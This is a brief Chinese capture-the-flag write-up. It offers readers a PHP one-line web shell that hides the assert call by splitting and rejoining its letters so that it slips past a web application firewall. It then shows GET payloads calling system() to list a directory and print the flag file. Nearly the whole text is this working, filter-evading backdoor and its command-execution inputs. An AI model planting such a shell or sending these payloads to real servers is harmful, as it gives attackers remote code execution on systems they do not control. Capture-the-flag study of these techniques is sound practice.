看提示——送给大家一个过狗一句话 $poc=”a#s#s#e#r#t”; $poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’])
简单来讲就是assert($_GET[‘s’])
assert函数会把里面的内容当成php代码执行
所以直接传值:s=system(“ls”)
发现目录
然后传:s=system(“cat flaga15808abee46a1d5.txt”)
得到flag